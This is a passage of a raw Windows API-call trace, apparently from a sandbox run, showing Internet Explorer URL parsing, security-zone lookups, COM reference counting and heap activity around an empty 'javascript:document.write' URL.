[0041.894] IUnknown:Release (This=0x53c40c) returned 0x5 [0041.894] IUnknown:AddRef (This=0x53c40c) returned 0x6 [0041.894] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30e9e4, dwFlags=0x0 | out: pdwProperty=0x30e9e4*=0xf) returned 0x0 [0041.894] IUnknown:Release (This=0x53c40c) returned 0x5 [0041.894] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30c978 | out: ppu=0x30c978) returned 0x0 [0041.894] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30a944 | out: ppu=0x30a944) returned 0x0 [0041.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x554168 [0041.894] wcsstr (_Str="javascript:document.write('');", _SubStr="\x01") returned 0x0 [0041.894] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554168 | out: hHeap=0x510000) returned 1 [0041.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x554168 [0041.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x112) returned 0x577038 [0041.894] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554168 | out: hHeap=0x510000) returned 1 [0041.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x554168 [0041.894] wcsstr (_Str="javascript:document.write('');", _SubStr="%01") returned 0x0 [0041.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x21c) returned 0x577158 [0041.894] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x577038 | out: hHeap=0x510000) returned 1 [0041.894] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554168 | out: hHeap=0x510000) returned 1 [0041.894] IInternetSecurityManager:GetSecurityId (in: This=0x545430, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30ea40, pcbSecurityId=0x30ea3c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ea40*=0x6a, pcbSecurityId=0x30ea3c*=0x89) returned 0x0 [0041.894] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30ea40, pcbSecurityId=0x30ea3c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ea40*=0x0, pcbSecurityId=0x30ea3c*=0x200) returned 0x800c0011 [0041.895] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30c318 | out: ppv=0x30c318*=0x73158d20) returned 0x0 [0041.895] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30c404 | out: ppvObject=0x30c404*=0x73158d2c) returned 0x0 [0041.895] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.895] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');\x01javascript:document.write('');", ParseAction=3, dwParseFlags=0x0, pwzResult=0x577e00, cchResult=0x10c, pcchResult=0x30c44c, dwReserved=0x0 | out: pwzResult="javascript:document.write('');", pcchResult=0x30c44c*=0x86) returned 0x0 [0041.895] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x554168 [0041.895] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554168 | out: hHeap=0x510000) returned 1 [0041.895] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.895] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30c318 | out: ppv=0x30c318*=0x73158d20) returned 0x0 [0041.896] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30c404 | out: ppvObject=0x30c404*=0x73158d2c) returned 0x0 [0041.896] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.896] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=3, dwParseFlags=0x0, pwzResult=0x554168, cchResult=0x86, pcchResult=0x30c44c, dwReserved=0x0 | out: pwzResult="javascript:document.write('');", pcchResult=0x30c44c*=0x86) returned 0x0 [0041.896] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x554280 [0041.896] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554280 | out: hHeap=0x510000) returned 1 [0041.896] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.896] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30c318 | out: ppv=0x30c318*=0x73158d20) returned 0x0 [0041.896] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30c404 | out: ppvObject=0x30c404*=0x73158d2c) returned 0x0 [0041.896] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.896] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=17, dwParseFlags=0x0, pwzResult=0x554168, cchResult=0x86, pcchResult=0x30c45c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30c45c*=0x0) returned 0x800c0011 [0041.896] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x577158 | out: hHeap=0x510000) returned 1 [0041.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.897] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x89) returned 0x5770d0 [0041.897] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x554168 [0041.897] StrCmpICW (pszStr1="javascript:document.write('');", pszStr2="res://ieframe.dll/PhishSite.htm") returned -8 [0041.897] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30ebd4 | out: ppvObject=0x30ebd4*=0x53c694) returned 0x0 [0041.897] IUnknown:Release (This=0x53c694) returned 0x16 [0041.897] IUnknown:AddRef (This=0x53c694) returned 0x17 [0041.897] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x12c) returned 0x577168 [0041.897] IUnknown:AddRef (This=0x53c694) returned 0x18 [0041.897] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30eb98 | out: ppvObject=0x30eb98*=0x53c694) returned 0x0 [0041.897] IUnknown:Release (This=0x53c694) returned 0x18 [0041.897] IUnknown:AddRef (This=0x53c694) returned 0x19 [0041.897] IUnknown:Release (This=0x53c694) returned 0x18 [0041.897] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x560dd8 [0041.897] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb4) returned 0x5772a0 [0041.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55c0e0 [0041.898] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30ec1c | out: pdwScheme=0x30ec1c*=0xf) returned 0x0 [0041.898] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30ec24 | out: ppvObject=0x30ec24*=0x53c694) returned 0x0 [0041.898] IUnknown:Release (This=0x53c694) returned 0x18 [0041.898] IUnknown:AddRef (This=0x53c694) returned 0x19 [0041.898] IUnknown:Release (This=0x53c694) returned 0x18 [0041.898] IUri:IsEqual (in: This=0x53c40c, pUri=0x53c694, pfEqual=0x30ec64 | out: pfEqual=0x30ec64*=1) returned 0x0 [0041.898] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552478 [0041.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x569e80 [0041.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x50) returned 0x5524d0 [0041.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55f928 [0041.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x12c) returned 0x577e00 [0041.898] IUnknown:AddRef (This=0x53c694) returned 0x19 [0041.898] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30ebb8 | out: ppvObject=0x30ebb8*=0x53c694) returned 0x0 [0041.898] IUnknown:Release (This=0x53c694) returned 0x19 [0041.898] IUnknown:AddRef (This=0x53c694) returned 0x1a [0041.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552528 [0041.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x68) returned 0x577f38 [0041.899] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x108) returned 0x577fa8 [0041.899] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574c78 [0041.899] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xcc) returned 0x53dba0 [0041.899] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574c90 [0041.899] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c118 [0041.899] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1b0) returned 0x5780b8 [0041.899] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30e8bc | out: ppvObject=0x30e8bc*=0x53c694) returned 0x0 [0041.899] IUnknown:Release (This=0x53c694) returned 0x1a [0041.899] IUnknown:AddRef (This=0x53c694) returned 0x1b [0041.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.899] IUnknown:Release (This=0x53c694) returned 0x1a [0041.899] CoTaskMemFree (pv=0x0) [0041.899] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1a8) returned 0x578270 [0041.900] IUnknown:AddRef (This=0x53f868) returned 0x3 [0041.900] IUnknown:AddRef (This=0x53c694) returned 0x1b [0041.900] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30eb78 | out: ppvObject=0x30eb78*=0x53c694) returned 0x0 [0041.900] IUnknown:Release (This=0x53c694) returned 0x1b [0041.900] IUnknown:AddRef (This=0x53c694) returned 0x1c [0041.900] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30eb7c | out: pdwScheme=0x30eb7c*=0xf) returned 0x0 [0041.900] IUnknown:Release (This=0x53f868) returned 0x2 [0041.900] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x55f520 [0041.900] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x68) returned 0x578420 [0041.900] IUnknown:AddRef (This=0x53c694) returned 0x1d [0041.900] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1a8) returned 0x578490 [0041.901] IUnknown:AddRef (This=0x53c694) returned 0x1e [0041.901] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30eb54 | out: ppvObject=0x30eb54*=0x53c694) returned 0x0 [0041.901] IUnknown:Release (This=0x53c694) returned 0x1e [0041.901] IUnknown:AddRef (This=0x53c694) returned 0x1f [0041.901] GetCurrentThreadId () returned 0x86c [0041.901] SetEvent (hEvent=0x17c) returned 1 [0041.901] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8006) returned 0x578640 [0041.902] IUnknown:Release (This=0x53c694) returned 0x1e [0041.902] GetCurrentThreadId () returned 0x86c [0041.903] IUnknown:Release (This=0x53c694) returned 0x1d [0041.903] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.903] IUnknown:Release (This=0x54fc10) returned 0x1 [0041.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.903] IUnknown:Release (This=0x53c694) returned 0x1c [0041.903] IUnknown:Release (This=0x53c694) returned 0x1b [0041.903] CoTaskMemAlloc (cb=0x10c) returned 0x554280 [0041.903] CoTaskMemFree (pv=0x0) [0041.903] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30c630 | out: ppu=0x30c630) returned 0x0 [0041.903] CoInternetParseUrl (in: pwzUrl="javascript:document.write('');", ParseAction=0x13, dwFlags=0x0, pszResult=0x30c66c, cchResult=0x1000, pcchResult=0x30c664, dwReserved=0x0 | out: pszResult="javascript:document.write('');", pcchResult=0x30c664) returned 0x0 [0041.903] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30c4f4 | out: ppv=0x30c4f4*=0x73158d20) returned 0x0 [0041.903] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30c5e0 | out: ppvObject=0x30c5e0*=0x73158d2c) returned 0x0 [0041.904] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.904] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=19, dwParseFlags=0x0, pwzResult=0x30c66c, cchResult=0x1000, pcchResult=0x30c664, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30c664*=0x0) returned 0x800c0011 [0041.904] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.904] CoTaskMemAlloc (cb=0x10c) returned 0x554398 [0041.904] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x573108 [0041.904] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x581660 [0041.904] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ee60 | out: ppu=0x30ee60) returned 0x0 [0041.904] IUnknown:AddRef (This=0x53ad08) returned 0x3 [0041.904] IsAsyncMoniker (pmk=0x53ad08) returned 0x0 [0041.904] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x50) returned 0x552580 [0041.905] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560e20 [0041.905] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x5556e0 [0041.905] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560e68 [0041.905] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x574ca8 [0041.905] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560e20 | out: hHeap=0x510000) returned 1 [0041.905] IUnknown:Release (This=0x53ad08) returned 0x2 [0041.905] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5556e0 | out: hHeap=0x510000) returned 1 [0041.905] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560e68 | out: hHeap=0x510000) returned 1 [0041.905] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.905] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30e87c, dwFlags=0x0 | out: pdwProperty=0x30e87c*=0xf) returned 0x0 [0041.905] IInternetSecurityManager:GetSecurityId (in: This=0x545430, pwszUrl="javascript:document.write('');", pbSecurityId=0x30eae0, pcbSecurityId=0x30e8d8*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30eae0*=0x6a, pcbSecurityId=0x30e8d8*=0x89) returned 0x0 [0041.905] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pbSecurityId=0x30eae0, pcbSecurityId=0x30e8d8*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30eae0*=0x0, pcbSecurityId=0x30e8d8*=0x200) returned 0x800c0011 [0041.906] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.906] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.906] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30e87c, dwFlags=0x0 | out: pdwProperty=0x30e87c*=0xf) returned 0x0 [0041.906] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.906] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30c810 | out: ppu=0x30c810) returned 0x0 [0041.906] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30a7dc | out: ppu=0x30a7dc) returned 0x0 [0041.906] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.906] wcsstr (_Str="javascript:document.write('');", _SubStr="\x01") returned 0x0 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.906] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.906] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x112) returned 0x581a68 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.906] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.906] wcsstr (_Str="javascript:document.write('');", _SubStr="%01") returned 0x0 [0041.906] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x21c) returned 0x581b88 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x581a68 | out: hHeap=0x510000) returned 1 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.906] IInternetSecurityManager:GetSecurityId (in: This=0x545430, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30e8e0, pcbSecurityId=0x30e8dc*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30e8e0*=0x6a, pcbSecurityId=0x30e8dc*=0x89) returned 0x0 [0041.906] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30e8e0, pcbSecurityId=0x30e8dc*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30e8e0*=0x0, pcbSecurityId=0x30e8dc*=0x200) returned 0x800c0011 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x581b88 | out: hHeap=0x510000) returned 1 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x510000) returned 1 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ccd8 | out: hHeap=0x510000) returned 1 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.906] LoadLibraryA (lpLibFileName="IEFRAME.dll") returned 0x721a0000 [0041.907] GetProcAddress (hModule=0x721a0000, lpProcName=0xea) returned 0x72208ed9 [0041.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.908] IUnknown:Release (This=0x545430) returned 0x0 [0041.908] IUnknown:Release (This=0x53f4e4) returned 0x0 [0041.908] IUnknown:Release (This=0x731596bc) returned 0x7 [0041.908] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.908] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30ebb4, dwFlags=0x0 | out: pdwProperty=0x30ebb4*=0xf) returned 0x0 [0041.908] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x53f4dc, dwReserved=0x0 | out: ppSM=0x53f4dc*=0x55f990) returned 0x0 [0041.908] IInternetSecurityManager:SetSecuritySite (This=0x55f990, pSite=0x53f4e4) returned 0x0 [0041.908] IUnknown:AddRef (This=0x53f4e4) returned 0xa0 [0041.908] IUnknown:QueryInterface (in: This=0x53f4e4, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30eb84 | out: ppvObject=0x30eb84*=0x53f4e8) returned 0x0 [0041.909] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x55f9b8 | out: ppvObject=0x55f9b8*=0x0) returned 0x80004002 [0041.909] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x55f9b4 | out: ppvObject=0x55f9b4*=0x0) returned 0x80004002 [0041.909] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x55f9b0 | out: ppvObject=0x55f9b0*=0x731596bc) returned 0x0 [0041.909] IUnknown:Release (This=0x53f4e8) returned 0x0 [0041.909] IInternetSecurityManager:GetSecurityId (in: This=0x55f990, pwszUrl="javascript:document.write('');", pbSecurityId=0x30ec10, pcbSecurityId=0x30ec0c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ec10*=0x6a, pcbSecurityId=0x30ec0c*=0x89) returned 0x0 [0041.909] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pbSecurityId=0x30ec10, pcbSecurityId=0x30ec0c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ec10*=0x0, pcbSecurityId=0x30ec0c*=0x200) returned 0x800c0011 [0041.909] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.909] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.909] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30e984, dwFlags=0x0 | out: pdwProperty=0x30e984*=0xf) returned 0x0 [0041.909] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.909] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30c918 | out: ppu=0x30c918) returned 0x0 [0041.909] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30a8e4 | out: ppu=0x30a8e4) returned 0x0 [0041.909] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.909] wcsstr (_Str="javascript:document.write('');", _SubStr="\x01") returned 0x0 [0041.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.909] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.909] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x112) returned 0x581a68 [0041.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.909] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.910] wcsstr (_Str="javascript:document.write('');", _SubStr="%01") returned 0x0 [0041.910] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x21c) returned 0x581b88 [0041.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x581a68 | out: hHeap=0x510000) returned 1 [0041.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.910] IInternetSecurityManager:GetSecurityId (in: This=0x55f990, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30e9e0, pcbSecurityId=0x30e9dc*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30e9e0*=0x6a, pcbSecurityId=0x30e9dc*=0x89) returned 0x0 [0041.910] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30e9e0, pcbSecurityId=0x30e9dc*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30e9e0*=0x0, pcbSecurityId=0x30e9dc*=0x200) returned 0x800c0011 [0041.910] HeapFree 